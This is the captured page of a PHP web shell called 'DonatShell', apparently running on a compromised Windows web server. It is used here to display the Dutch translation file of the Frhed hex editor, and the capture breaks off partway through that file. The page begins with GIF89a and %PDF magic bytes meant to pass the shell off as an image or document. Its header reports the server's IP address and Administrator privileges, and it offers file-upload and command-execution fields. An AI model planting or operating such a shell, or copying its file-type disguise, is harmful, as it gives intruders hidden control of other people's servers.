GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/WinMerge/Frhed/Languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files/WinMerge/Frhed/Languages/nl.po
# This file is part of Frhed <http://frhed.sourceforge.net/>
# Released under the "GNU General Public License"
#
# Translators:
# * Thomas De Rocker <thomasderocker@yahoo.com>
#
# ID line follows -- this is updated by SVN
# $Id: nl.po 715 2009-06-14 18:12:29Z kimmov $
#
msgid ""
msgstr ""
"Project-Id-Version: Frhed\n"
"Report-Msgid-Bugs-To: http://sourceforge.net/tracker/?group_id=13216&atid=113216\n"
"POT-Creation-Date: 2009-06-10 14:28+0000\n"
"PO-Revision-Date: \n"
"Last-Translator: Thomas De Rocker <thomasderocker@yahoo.com>\n"
"Language-Team: Dutch <frhed-devel@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Language: Dutch\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-Basepath: ../\n"
"X-Poedit-Country: BELGIUM\n"

#. LANGUAGE, SUBLANGUAGE
#: heksedit.rc:5
#, c-format
msgid "LANG_ENGLISH, SUBLANG_ENGLISH_US"
msgstr "LANG_DUTCH, SUBLANG_DUTCH"

#. Codepage
#: heksedit.rc:6
#, c-format
msgid "1252"
msgstr "65001"

#: heksedit.rc:12
#, c-format
msgid "&File"
msgstr "&Bestand"

#: heksedit.rc:14
#, c-format
msgid "&New\tCtrl+N"
msgstr "&Nieuw\tCtrl+N"

#: heksedit.rc:15
#, c-format
msgid "&Open...\tCtrl+O"
msgstr "&Openen...\tCtrl+O"

#: heksedit.rc:16
#, c-format
msgid "Open pa&rtially...\tAlt+P"
msgstr "Gedeeltelijk openen...\tAlt+P"

#: heksedit.rc:18
#, c-format
msgid "&Save\tCtrl+S"
msgstr "Op&slaan\tCtrl+S"

#: heksedit.rc:19
#, c-format
msgid "Save &As...\tCtrl+J"
msgstr "Opslaan &als...\tCtrl+J"

#: heksedit.rc:20
#, c-format
msgid "Save selec&tion as...\tCtrl+Shift+O"
msgstr "Selec&tie opslaan als...\tCtrl+Shift+O"

#: heksedit.rc:22
#, c-format
msgid "Re&vert\tCtrl+Shift+R"
msgstr "Terugdraaien\tCtrl+Shift+R"

#: heksedit.rc:23
#, c-format
msgid "&Insert file...\tCtrl+Shift+I"
msgstr "Bestand &invoegen...\tCtrl+Shift+I"

#: heksedit.rc:24
#, c-format
msgid "&Delete file...\tCtrl+Shift+D"
msgstr "Bestand wissen...\tCtrl+Shift+D"

#: heksedit.rc:25
#, c-format
msgid "Close File\tCtrl+Shift+X"
msgstr "Bestand sluiten\tCtrl+Shift+X"

#: heksedit.rc:27
#, c-format
msgid "&Export as hexdump..."
msgstr "&Exporteren als hexdump..."

#: heksedit.rc:28
#, c-format
msgid "I&mport from hexdump...\tCtrl+Shift+H"
msgstr "I&mporteren van hexdump...\tCtrl+Shift+H"

#: heksedit.rc:40
#, c-format
msgid "E&xit\tAlt+F4"
msgstr "Afsluiten\tAlt+F4"

#: heksedit.rc:42
#, c-format
msgid "&Disk"
msgstr "Schijf"

#: heksedit.rc:44
#, c-format
msgid "&Open drive..."
msgstr "Drive &openen..."

#: heksedit.rc:45
#, c-format
msgid "&Close drive"
msgstr "Drive sluiten"

#: heksedit.rc:47
#: heksedit.rc:190
#, c-format
msgid "Goto &First Sector"
msgstr "Ga naar eerste sector"

#: heksedit.rc:48
#, c-format
msgid "Goto &Next Sector\tCtrl+Shift+PgDn"
msgstr "Ga naar volge&nde sector\tCtrl+Shift+PgDn"

#: heksedit.rc:49
#, c-format
msgid "Goto &Previous Sector\tCtrl+Shift+PgUp"
msgstr "Ga naar vorige sector\tCtrl+Shift+PgUp"

#: heksedit.rc:51
#: heksedit.rc:193
#, c-format
msgid "Goto &Last Sector"
msgstr "Ga naar laatste sector"

#: heksedit.rc:53
#: heksedit.rc:195
#, c-format
msgid "Goto &Sector #..."
msgstr "Ga naar sector #..."

#: heksedit.rc:55
#, c-format
msgid "&Edit"
msgstr "Wijzigen"

#: heksedit.rc:57
#, c-format
msgid "&Undo\tCtrl+Z"
msgstr ""

#: heksedit.rc:58
#, c-format
msgid "&Redo\tCtrl+Y"
msgstr ""

#: heksedit.rc:60
#: heksedit.rc:177
#, c-format
msgid "Cu&t...\tCtrl+X"
msgstr "Knippen...\tCtrl+X"

#: heksedit.rc:61
#: heksedit.rc:178
#, c-format
msgid "&Copy...\tCtrl+C"
msgstr "KopiEen...\tCtrl+C"

#: heksedit.rc:62
#: heksedit.rc:179
#, c-format
msgid "&Paste...\tCtrl+V"
msgstr "&Plakken...\tCtrl+V"

#: heksedit.rc:63
#, c-format
msgid "Paste &with dialog...\tCtrl+Shift+V"
msgstr "Plakken met dialoogvenster...\tCtrl+Shift+V"

#: heksedit.rc:64
#, c-format
msgid "&Move/Copy bytes...\tCtrl+Alt+M"
msgstr "Bytes verplaatsen/kopiEen...\tCtrl+Alt+M"

#: heksedit.rc:65
#, c-format
msgid "Reverse bytes...\tCtrl+Alt+R"
msgstr "Bytes omdraaien...\tCtrl+Alt+R"

#: heksedit.rc:66
#, c-format
msgid "&Append...\tCtrl+P"
msgstr "Toevoegen...\tCtrl+P"

#: heksedit.rc:67
#: heksedit.rc:180
#, c-format
msgid "&Delete\tDel"
msgstr "Wissen\tDel"

#: heksedit.rc:68
#, c-format
msgid "&Select all\tCtrl+A"
msgstr "Alles &selecteren\tCtrl+A"

#: heksedit.rc:69
#, c-format
msgid "Select &block...\tCtrl+E"
msgstr "&Blok selecteren...\tCtrl+E"

#: heksedit.rc:70
#, c-format
msgid "&Fill selection...\tCtrl+Shift+F"
msgstr "Selectie vullen...\tCtrl+Shift+F"

#: heksedit.rc:72
#, c-format
msgid "Toggle h&ex/character editing\tTAB"
msgstr "Wisselen tussen h&ex/tekens wijzigen\tTAB"

#: heksedit.rc:73
#, c-format
msgid "Toggle keyboard I&nsert/Overwrite mode\tIns"
msgstr "Toetsenbord I&nsert/Overwrite-modus aan/uit\tIns"

#: heksedit.rc:75
#, c-format
msgid "Read-only mode\tAlt+R"
msgstr "Alleen-lezen modus\tAlt+R"

#: heksedit.rc:77
#, c-format
msgid "&Find and Replace"
msgstr "Zoeken en vervangen"

#: heksedit.rc:79
#: heksedit.rc:182
#, c-format
msgid "&Find...\tCtrl+F"
msgstr "&Zoeken...\tCtrl+F"

#: heksedit.rc:80
#, c-format
msgid "&Replace...\tCtrl+H"
msgstr "Vervangen...\tCtrl+H"

#: heksedit.rc:81
#, c-format
msgid "Find &next\tF3"
msgstr "Volge&nde zoeken\tF3"

#: heksedit.rc:82
#, c-format
msgid "Find &previous\tShift+F3"
msgstr "V&orige zoeken\tShift+F3"

#: heksedit.rc:84
#: heksedit.rc:186
#, c-format
msgid "&Go To...\tCtrl+G"
msgstr "&Ga naar...\tCtrl+G"

#: heksedit.rc:86
#, c-format
msgid "Enter decimal &value...\tCtrl+D"
msgstr "Decimale waarde ingeven...\tCtrl+D"

#: heksedit.rc:88
#, c-format
msgid "Man&ipulate bits...\tCtrl+B"
msgstr "Bits man&ipuleren...\tCtrl+B"

#: heksedit.rc:89
#, c-format
msgid "C&ompare from current offset...\tCtrl+M"
msgstr "Vergelijken vanaf huidige offset...\tCtrl+M"

#: heksedit.rc:91
#, c-format
msgid "Get f&loating point value...\tCtrl+L"
msgstr "F&loating point waarde verkrijgen...\tCtrl+L"

#: heksedit.rc:92
#, c-format
msgid "File properties...\tAlt+Enter"
msgstr "Bestandseigenschappen...\tAlt+Enter"

#: heksedit.rc:93
#, c-format
msgid "Appl&y template...\tAlt+T"
msgstr "Sjabloon toepassen...\tAlt+T"

#: heksedit.rc:94
#, c-format
msgid "Open in text editor\tF5"
msgstr "Openen in tekst-editor\tF5"

#: heksedit.rc:96
#, c-format
msgid "&View"
msgstr "Beeld"

#: heksedit.rc:98
#, c-format
msgid "Scroll &left\tCtrl+Arrow Left"
msgstr "&Links scrollen\tCtrl+Arrow Left"

#: heksedit.rc:99
#, c-format
msgid "Scroll &right\tCtrl+Arrow Right"
msgstr "&Rechts scrollen\tCtrl+Arrow Right"

#: heksedit.rc:100
#, c-format
msgid "Scroll &up\tCtrl+Arrow Up"
msgstr "Omhoog scrollen\tCtrl+Arrow Up"

#: heksedit.rc:101
#, c-format
msgid "Scroll &down\tCtrl+Arrow Down"
msgstr "Omlaag scrollen\tCtrl+Arrow Down"

#: heksedit.rc:102
#, c-format
msgid "Scroll up a page\tCtrl+Page Up"
msgstr "Pagina omhoog scrollen\tCtrl+Page Up"

#: heksedit.rc:103
#, c-format
msgid "Scroll down a page\tCtrl+Page Down"
msgstr "Pagina omlaag scrollen\tCtrl+Page Down"

#: heksedit.rc:105
#, c-format
msgid "Zoom in\tCtrl++"
msgstr "Inzoomen\tCtrl++"

#: heksedit.rc:106
#, c-format
msgid "Zoom out\tCtrl+-"
msgstr "Uitzoomen\tCtrl+-"

#: heksedit.rc:107
#, c-format
msgid "Zoom normal\tCtrl+*"
msgstr "Zoom normaal\tCtrl+*"

#: heksedit.rc:109
#, c-format
msgid "&Options"
msgstr "&Opties"

#: heksedit.rc:111
#, c-format
msgid "&View settings...\tCtrl+I"
msgstr "Beeldinstellingen...\tCtrl+I"

#: heksedit.rc:112
#, c-format
msgid "&Color settings"
msgstr "Kleurinstellingen"

#: heksedit.rc:114
#, c-format
msgid "&Text color...\tCtrl+T"
msgstr "&Tekstkleur...\tCtrl+T"

#: heksedit.rc:115
#, c-format
msgid "&Background color...\tCtrl+K"
msgstr "Achtergrondkleur...\tCtrl+K"

#: heksedit.rc:116
#, c-format
msgid "Separator color...\tCtrl+Q"
msgstr "Kleur scheidingslijnen...\tCtrl+Q"

#: heksedit.rc:117
#, c-format
msgid "Selection text color...\tCtrl+Shift+T"
msgstr "Kleur geselecteerde tekst...\tCtrl+Shift+T"

#: heksedit.rc:119
#, c-format
msgid "Selection background color...\tCtrl+Shift+K"
msgstr "Achtergrondkleur selectie...\tCtrl+Shift+K"

#: heksedit.rc:121
#, c-format
msgid "Bookmark color...\tCtrl+Shift+B"
msgstr "Bladwijzerkleur...\tCtrl+Shift+B"

#: heksedit.rc:123
#, c-format
msgid "Reset colors to standard...\tCtrl+Shift+S"
msgstr "Standaardkleuren herstellen...\tCtrl+Shift+S"

#: heksedit.rc:125
#, c-format
msgid "&Adopt OS colour scheme...\tCtrl+Shift+A"
msgstr "Kleurenschema OS overnemen...\tCtrl+Shift+A"

#: heksedit.rc:128
#, c-format
msgid "C&haracter set...\tCtrl+R"
msgstr "Tekenset...\tCtrl+R"

#: heksedit.rc:129
#, c-format
msgid "B&inary mode...\tCtrl+Shift+Y"
msgstr "B&inary modus...\tCtrl+Shift+Y"

#: heksedit.rc:130
#, c-format
msgid "&OLE Drag-drop...\tCtrl+Alt+O"
msgstr "&OLE slepen-neerzetten...\tCtrl+Alt+O"

#: heksedit.rc:131
#, c-format
msgid "Make backups\tCtrl+Shift+M"
msgstr "Back-ups maken\tCtrl+Shift+M"

#: heksedit.rc:133
#, c-format
msgid "&Registry"
msgstr "&Register"

#: heksedit.rc:135
#, c-format
msgid "In &all context menu"
msgstr "In &alle contextmenu's"

#: heksedit.rc:136
#, c-format
msgid "In &unknown context menu"
msgstr "In onbekende contextmenu's"

#: heksedit.rc:137
#, c-format
msgid "Is &default in unknown context"
msgstr "Is standaard in onbekende context"

#: heksedit.rc:138
#, c-format
msgid "&Save ini when required"
msgstr "Ini op&slaan wanneer nodig"

#: heksedit.rc:139
#, c-format
msgid "Change &instance..."
msgstr "&Instantie veranderen..."

#: heksedit.rc:140
#, c-format
msgid "S&hortcuts to Frhed..."
msgstr "Snelkoppelingen naar Frhed..."

#: heksedit.rc:142
#, c-format
msgid "&Bookmarks"
msgstr "&Bladwijzers"

#: heksedit.rc:144
#, c-format
msgid "&Add bookmark...\tCtrl+W"
msgstr "Bladwijzer toevoegen...\tCtrl+W"

#: heksedit.rc:145
#, c-format
msgid "&Remove bookmark...\tAlt+W"
msgstr "Bladwijzer verwijderen...\tAlt+W"

#: heksedit.rc:146
#, c-format
msgid "&Clear all bookmarks\tCtrl+Shift+W"
msgstr "Alle bladwijzers wissen\tCtrl+Shift+W"

# Diversen of extra?
#: heksedit.rc:158
#, c-format
msgid "&Misc"
msgstr "Extra"

#: heksedit.rc:160
#, c-format
msgid "Goto DLL e&xport names..."
msgstr "Ga naar DLL e&xportnamen..."

#: heksedit.rc:161
#, c-format
msgid "Goto DLL import names..."
msgstr "Ga naar DLL importnamen..."

#: heksedit.rc:163
#, c-format
msgid "Encode / Decode..."
msgstr "Encoderen / Decoderen..."

#: heksedit.rc:165
#, c-format
msgid "&Help"
msgstr "&Help"

#: heksedit.rc:167
#, c-format
msgid "&Help topics...\tF1"
msgstr "&Helponderwerpen...\tF1"

#: heksedit.rc:169
#, c-format
msgid "&About Frhed..."
msgstr "Over Frhed..."

#: heksedit.rc:183
#, c-format
msgid "Replace...\tCtrl+H"
msgstr "Vervangen...\tCtrl+H"

#: heksedit.rc:184
#, c-format
msgid "Find next\tF3"
msgstr "Volgende zoeken\tF3"

#: heksedit.rc:185
#, c-format
msgid "Find previous\tShift+F3"
msgstr "Vorige zoeken\tShift+F3"

#
#: heksedit.rc:191
#, c-format
msgid "Goto &Next Sector"
msgstr "Ga naar volgende sector"

#: heksedit.rc:192
#, c-format
msgid "Goto &Previous Sector"
msgstr "Ga naar vorige sector"

#: heksedit.rc:298
#, c-format
msgid "Go to Offset"
msgstr "Ga naar offset"

#: heksedit.rc:301
#, c-format
msgid "Start with \"+\" or \"-\" (minus) for relative jump."
msgstr "Begin met \"+\" of \"-\" (min) voor een relatieve sprong."

#: heksedit.rc:303
#, c-format
msgid "Prefix offset with \"x\" to indicate hex notation."
msgstr "Prefix offset met \"x\" om de hexadecimale notatie aan te duiden."

#: heksedit.rc:306
#: heksedit.rc:347
#: heksedit.rc:367
#: heksedit.rc:387
#: heksedit.rc:412
#: heksedit.rc:430
#: heksedit.rc:448
#: heksedit.rc:486
#: heksedit.rc:498
#: heksedit.rc:533
#: heksedit.rc:549
#: heksedit.rc:563
#: heksedit.rc:577
#: heksedit.rc:593
#: heksedit.rc:606
#: heksedit.rc:652
#: heksedit.rc:675
#: heksedit.rc:689
#: heksedit.rc:750
#: heksedit.rc:772
#: heksedit.rc:793
#: heksedit.rc:819
#: heksedit.rc:877
#: heksedit.rc:898
#: heksedit.rc:946
#: heksedit.rc:977
#, c-format
msgid "OK"
msgstr "OK"

#: heksedit.rc:307
#: heksedit.rc:325
#: heksedit.rc:368
#: heksedit.rc:388
#: heksedit.rc:413
#: heksedit.rc:431
#: heksedit.rc:449
#: heksedit.rc:487
#: heksedit.rc:499
#: heksedit.rc:534
#: heksedit.rc:550
#: heksedit.rc:564
#: heksedit.rc:578
#: heksedit.rc:594
#: heksedit.rc:607
#: heksedit.rc:622
#: heksedit.rc:634
#: heksedit.rc:653
#: heksedit.rc:676
#: heksedit.rc:690
#: heksedit.rc:716
#: heksedit.rc:751
#: heksedit.rc:773
#: heksedit.rc:794
#: heksedit.rc:806
#: heksedit.rc:820
#: heksedit.rc:878
#: heksedit.rc:899
#: heksedit.rc:947
#: heksedit.rc:960
#: heksedit.rc:978
#: heksedit.rc:1332
#, c-format
msgid "Cancel"
msgstr "Annuleren"

#: heksedit.rc:313
#: heksedit.rc:324
#: heksedit.rc:996
#, c-format
msgid "Find"
msgstr "Zoeken"

#: heksedit.rc:316
#, c-format
msgid "&Find what:"
msgstr "Wat te zoeken:"

#: heksedit.rc:318
#, c-format
msgid "Please refer to the online help's Using the Special Syntax section for searching for binary values."
msgstr "Indien u wil zoeken naar binaire waardes, gelieve de online help-sectie te raadplegen over 'Using the Special Syntax'"

#: heksedit.rc:319
#, c-format
msgid "Direction"
msgstr "Richting"

#: heksedit.rc:320
#, c-format
msgid "&Up"
msgstr "Omhoog"

#: heksedit.rc:321
#, c-format
msgid "&Down"
msgstr "Omlaag"

#: heksedit.rc:322
#, c-format
msgid "Match &case"
msgstr "Hoofdlettergevoelig"

#: heksedit.rc:323
#, c-format
msgid "U&nicode"
msgstr "U&nicode"

#: heksedit.rc:331
#, c-format
msgid "About Frhed"
msgstr "Over Frhed"

#: heksedit.rc:335
#, c-format
msgid "Frhed - Free hex editor"
msgstr "Frhed - Vrije hex editor"

#: heksedit.rc:338
#, c-format
msgid "(c) Raihan Kibria 2000"
msgstr ""

#: heksedit.rc:339
#, c-format
msgid "All rights reserved."
msgstr "Alle rechten voorbehouden."

#: heksedit.rc:340
#, c-format
msgid "Contributors are listed in Contributors.txt."
msgstr "Medewerkers worden opgesomd in Contributors.txt."

#: heksedit.rc:342
#, c-format
msgid "Open contributors list"
msgstr "Lijst van medewerkers openen"

#: heksedit.rc:343
#, c-format
msgid "Homepage"
msgstr "Homepagina"

#: heksedit.rc:345
#, c-format
msgid "Open Frhed's homepage in browser"
msgstr "Frhed's homepagina openen in browser"

#: heksedit.rc:353
#, c-format
msgid "Export Hexdump"
msgstr "Hexdump exporteren"

#: heksedit.rc:356
#, c-format
msgid "Start at offset:"
msgstr "Beginnen bij offset:"

#: heksedit.rc:358
#, c-format
msgid "End at offset:"
msgstr "Einde bij offset:"

#: heksedit.rc:360
#, c-format
msgid "Export to"
msgstr "Exporteren naar"

#: heksedit.rc:361
#, c-format
msgid "File"
msgstr "Bestand"

#: heksedit.rc:362
#, c-format
msgid "Clipboard"
msgstr "Klembord"

#: heksedit.rc:363
#, c-format
msgid "Type"
msgstr "Type"

#: heksedit.rc:364
#, c-format
msgid "Frhed display as text"
msgstr "Frhed weergeven als tekst"

#: heksedit.rc:365
#, c-format
msgid "Just hex digits on a line"
msgstr "Slechts hex digits op een regel"

#: heksedit.rc:366
#, c-format
msgid "Frhed display as RTF"
msgstr "Frhed weergeven als RTF"

#: heksedit.rc:374
#, c-format
msgid "Enter decimal value"
msgstr "Decimale waarde ingeven"

#: heksedit.rc:377
#, c-format
msgid "Enter decimal value:"
msgstr "Decimale waarde ingeven:"

#: heksedit.rc:379
#, c-format
msgid "At offset:"
msgstr "Bij offset:"

#: heksedit.rc:381
#, c-format
msgid "Number of times:"
msgstr "Aantal keren:"

#: heksedit.rc:383
#, c-format
msgid "Size of Value:"
msgstr "Grootte van waarde:"

#: heksedit.rc:384
#, c-format
msgid "Byte (8 bit)"
msgstr "Byte (8 bit)"

#: heksedit.rc:385
#, c-format
msgid "Word (16 bit)"
msgstr "Woord (16 bit)"

#: heksedit.rc:386
#, c-format
msgid "Double word (32 bit)"
msgstr "Dubbel woord (32-bit)"

#: heksedit.rc:394
#, c-format
msgid "Paste with dialogue"
msgstr "Plakken met dialoogvenster"

#: heksedit.rc:397
#, c-format
msgid "Clipboard content (text):"
msgstr "Inhoud klembord (tekst):"

#: heksedit.rc:400
#: heksedit.rc:662
#, c-format
msgid "Paste mode"
msgstr "Plakmodus"

#: heksedit.rc:401
#: heksedit.rc:663
#, c-format
msgid "Overwrite"
msgstr "Overschrijven"

#: heksedit.rc:403
#: heksedit.rc:664
#, c-format
msgid "Insert"
msgstr "Invoegen"

#: heksedit.rc:405
#: heksedit.rc:665
#, c-format
msgid "Paste data how many times:"
msgstr "Hoeveel keer data te plakken:"

#: heksedit.rc:407
#: heksedit.rc:669
#, c-format
msgid "Paste coded binary values as text"
msgstr "Gecodeerde binaire waarden als tekst plakken"

#: heksedit.rc:409
#, c-format
msgid "Skip how many bytes between inserts/overwrites"
msgstr "Hoeveel bytes overslaan tussen invoegen/overschrijven"

#: heksedit.rc:419
#: heksedit.rc:1000
#, c-format
msgid "Cut"
msgstr "Knippen"

#: heksedit.rc:422
#, c-format
msgid "Start cutting at offset:"
msgstr "Beginnen knippen bij offset:"

#: heksedit.rc:424
#, c-format
msgid "Cut how many bytes"
msgstr "Hoeveel bytes te knippen"

#: heksedit.rc:425
#, c-format
msgid "Cut up to and including offset:"
msgstr "Knippen tot en met offset:"

#: heksedit.rc:427
#, c-format
msgid "Number of bytes to cut:"
msgstr "Aantal bytes te knippen"

#: heksedit.rc:437
#: heksedit.rc:865
#: heksedit.rc:896
#: heksedit.rc:997
#: heksedit.rc:1331
#, c-format
msgid "Copy"
msgstr "KopiEen"

#: heksedit.rc:440
#, c-format
msgid "Start copying at offset:"
msgstr "Beginnen kopiEen bij offset:"

#: heksedit.rc:442
#, c-format
msgid "Copy how many bytes"
msgstr "Hoeveel bytes te kopiEen"

#: heksedit.rc:443
#, c-format
msgid "Copy up to and including offset:"
msgstr "KopiEen tot en met offset:"

#: heksedit.rc:445
#, c-format
msgid "Number of bytes to copy:"
msgstr "Aantal bytes te kopiEen"

#: heksedit.rc:455
#, c-format
msgid "View Settings"
msgstr "Beeldinstellingen"

#: heksedit.rc:458
#, c-format
msgid "Number of bytes to display per line:"
msgstr "Aantal weer te geven bytes per regel"

#: heksedit.rc:461
#, c-format
msgid "Automatically adjust number of bytes per line (uncheck this if you want Frhed to use your own choice for bytes per line)"
msgstr "Automatisch aantal bytes per regel aanpassen (afvinken indien u wilt dat Frhed uw eigen keuze voor bytes per regel gebruikt)"

#: heksedit.rc:464
#, c-format
msgid "Display length of offset in how many characters:"
msgstr "Weergavelengte van offset in hoeveel tekens:"

#: heksedit.rc:467
#, c-format
msgid "Adjust offset length to that of the max offset"
msgstr "Offsetlengte wijzigen naar de maximale offset"

#: heksedit.rc:470
#, c-format
msgid "Display values at caret position as:"
msgstr "Waardes op de plaats van een weglatingsteken weergeven als:"

#: heksedit.rc:472
#, c-format
msgid "unsigned"
msgstr "unsigned"

#: heksedit.rc:474
#, c-format
msgid "signed"
msgstr "signed"

#: heksedit.rc:476
#, c-format
msgid "Set read-only mode on opening files"
msgstr "Alleen-lezen modus instellen bij het openen van bestanden"

#: heksedit.rc:479
#, c-format
msgid "Path and filename of the text editor to call:"
msgstr "Pad en bestandsnaam van de op te roepen teksteditor: "

#: heksedit.rc:482
#, c-format
msgid "Browse..."
msgstr "Bladeren..."

#: heksedit.rc:483
#, c-format
msgid "Language:"
msgstr "Taal:"

#: heksedit.rc:493
#, c-format
msgid "Append"
msgstr "Aansluiten"

#: heksedit.rc:496
#, c-format
msgid "Bytes to append to the end of the file:"
msgstr "Bytes aan het einde van het bestand aan te sluiten:"

#: heksedit.rc:504
#, c-format
msgid "Manipulate Bits"
msgstr "Bits manipuleren"

#: heksedit.rc:508
#: heksedit.rc:528
#, c-format
msgid "8"
msgstr "8"

#: heksedit.rc:509
#, c-format
msgid "7"
msgstr "7"

#: heksedit.rc:510
#, c-format
msgid "6"
msgstr "6"

#: heksedit.rc:511
#, c-format
msgid "5"
msgstr "5"

#: heksedit.rc:512
#: heksedit.rc:529
#, c-format
msgid "4"
msgstr "4"

#: heksedit.rc:513
#, c-format
msgid "3"
msgstr "3"

#: heksedit.rc:514
#: heksedit.rc:530
#, c-format
msgid "2"
msgstr "2"

#: heksedit.rc:524
#, c-format
msgid "128"
msgstr "128"

#: heksedit.rc:525
#, c-format
msgid "64"
msgstr "64"

#: heksedit.rc:526
#, c-format
msgid "32"
msgstr "32"

#: heksedit.rc:527
#, c-format
msgid "16"
msgstr "16"

#: heksedit.rc:540
#, c-format
msgid "Character Set"
msgstr "Tekenset"

#: heksedit.rc:543
#, c-format
msgid "Choose character set"
msgstr "Tekenset kiezen"

#: heksedit.rc:544
#: heksedit.rc:1024
#, c-format
msgid "ANSI"
msgstr "ANSI"

#: heksedit.rc:546
#: heksedit.rc:1025
#, c-format
msgid "OEM"
msgstr "OEM"

#: heksedit.rc:547
#, c-format
msgid "Font size in points:"
msgstr "Lettergrootte in punten:"

#: heksedit.rc:556
#, c-format
msgid "Choose area of difference to display"
msgstr "Kies weer te geven verschilgebied"

#: heksedit.rc:559
#, c-format
msgid "file_sizes"
msgstr "bestandgroottes"

#: heksedit.rc:560
#, c-format
msgid "number_of_diffs"
msgstr "aantal_verschillen"

#: heksedit.rc:565
#, c-format
msgid "Copy above list"
msgstr "Bovenstaande lijst kopiEen"

#: heksedit.rc:571
#, c-format
msgid "Binary Mode"
msgstr "Binary modus"

#: heksedit.rc:574
#, c-format
msgid "Choose binary mode"
msgstr "Kies binary modus"

#: heksedit.rc:575
#, c-format
msgid "Little-endian (Intel)"
msgstr "Little-endian (Intel)"

#: heksedit.rc:576
#, c-format
msgid "Big-endian (Motorola)"
msgstr "Big-endian (Motorola)"

#: heksedit.rc:584
#, c-format
msgid "Select Block"
msgstr "Blok selecteren"

#: heksedit.rc:587
#, c-format
msgid "Start of selection (prefix x for hex):"
msgstr "Begin van selectie (prefix x voor hex):"

#: heksedit.rc:590
#, c-format
msgid "End of selection (prefix x for hex):"
msgstr "Einde van selectie (prefix x voor hex):"

#: heksedit.rc:599
#, c-format
msgid "Reverse Bytes"
msgstr "Bytes omdraaien"

#: heksedit.rc:602
#, c-format
msgid "Offset of first byte:"
msgstr "Offset van eerste byte:"

#: heksedit.rc:604
#, c-format
msgid "Offset of last byte:"
msgstr "Offset van laatste byte:"

#: heksedit.rc:613
#, c-format
msgid "Add Bookmark"
msgstr "Bladwijzer toevoegen"

#: heksedit.rc:616
#, c-format
msgid "Offset (prefix x for hex):"
msgstr "Offset (prefix x voor hex):"

#: heksedit.rc:619
#, c-format
msgid "Name:"
msgstr "Naam:"

#: heksedit.rc:621
#, c-format
msgid "Add"
msgstr "Toevoegen"

#: heksedit.rc:628
#, c-format
msgid "Remove Bookmark"
msgstr "Bladwijzer verwijderen"

#: heksedit.rc:633
#, c-format
msgid "Remove"
msgstr "Verwijderen"

#: heksedit.rc:640
#, c-format
msgid "Open partially"
msgstr "Gedeeltelijk openen"

#: heksedit.rc:643
#, c-format
msgid "Start opening partially"
msgstr "Gedeeltelijk openen starten"

#: heksedit.rc:644
#, c-format
msgid "&At offset from the beginning of file (prefix x for hex):"
msgstr "Bij offset vanaf begin van bestand (prefix x voor hex):"

#: heksedit.rc:646
#, c-format
msgid "&From end of file"
msgstr "Vana&f einde van bestand"

#: heksedit.rc:648
#, c-format
msgid "&How many bytes:"
msgstr "&Hoeveel bytes:"

#: heksedit.rc:650
#, c-format
msgid "&Display offsets relative to start of file (or start of loaded block)"
msgstr "Offsets relatief aan begin van bestand (of begin van geladen blok) weergeven"

#: heksedit.rc:659
#: heksedit.rc:998
#, c-format
msgid "Paste"
msgstr "Plakken"

#: heksedit.rc:667
#, c-format
msgid "Bytes to skip between inserts/overwrites:"
msgstr "Bytes over te slaan tussen invoegen/overschrijven"

#: heksedit.rc:671
#, c-format
msgid "Clipboard format to use:"
msgstr "Te gebruiken klembordformaat:"

#: heksedit.rc:673
#, c-format
msgid "Refresh"
msgstr "Vernieuwen"

#: heksedit.rc:674
#, c-format
msgid "- CF_TEXT was used by previous versions of Frhed\n- Those starting w CF_ are standard formats && others are registered/private ones\n- Some formats may have been synthesized from the original."
msgstr ""
"- CF_TEXT werd gebruikt bij vorige versies van Frhed\n"
"- Diegenen die beginnen met CF_ zijn standaardformaten && andere zijn geregistreerde/private formaten\n"
"- Sommige formaten kunnen samengesteld zijn uit het originele."

#: heksedit.rc:682
#, c-format
msgid "Template"
msgstr "Sjabloon"

#: heksedit.rc:685
#, c-format
msgid "Result of template application:"
msgstr "Resultaat van toepassing sjabloon:"

#: heksedit.rc:696
#: heksedit.rc:715
#: heksedit.rc:1005
#, c-format
msgid "Replace"
msgstr "Vervangen"

#: heksedit.rc:699
#, c-format
msgid "Find what:"
msgstr "Wat te zoeken:"

#: heksedit.rc:702
#, c-format
msgid "Find next"
msgstr "Volgende zoeken"

#: heksedit.rc:703
#, c-format
msgid "Find previous"
msgstr "Vorige zoeken"

#: heksedit.rc:704
#, c-format
msgid "Match case"
msgstr "Hoofdlettergevoelig"

#: heksedit.rc:706
#, c-format
msgid "Replace with:"
msgstr "Vervangen door:"

#: heksedit.rc:708
#, c-format
msgid "Replace all..."
msgstr "Alles vervangen..."

#: heksedit.rc:709
#, c-format
msgid "... following occurrences"
msgstr "... volgende gevallen"

#: heksedit.rc:711
#, c-format
msgid "... previous occurrences"
msgstr "... vorige gevallen"

#: heksedit.rc:713
#, c-format
msgid "Use special syntax"
msgstr "Speciale syntax gebruiken"

#: heksedit.rc:721
#, c-format
msgid "Fill Selection"
msgstr "Selectie vullen"

#: heksedit.rc:724
#, c-format
msgid "Fill from:"
msgstr "Vullen vanaf:"

#: heksedit.rc:726
#: heksedit.rc:1298
#, c-format
msgid "File:"
msgstr "Bestand:"

#: heksedit.rc:728
#, c-format
msgid "&Browse..."
msgstr "&Bladeren..."

#: heksedit.rc:729
#, c-format
msgid "Hex:"
msgstr "Hex:"

#: heksedit.rc:731
#, c-format
msgid "Selection"
msgstr "Selectie"

#: heksedit.rc:732
#, c-format
msgid "Start:"
msgstr "Begin:"

#: heksedit.rc:734
#, c-format
msgid "End:"
msgstr "Einde:"

#: heksedit.rc:736
#, c-format
msgid "Size:"
msgstr "Grootte:"

#: heksedit.rc:738
#: heksedit.rc:920
#, c-format
msgid "Input"
msgstr "Invoer"

#: heksedit.rc:739
#, c-format
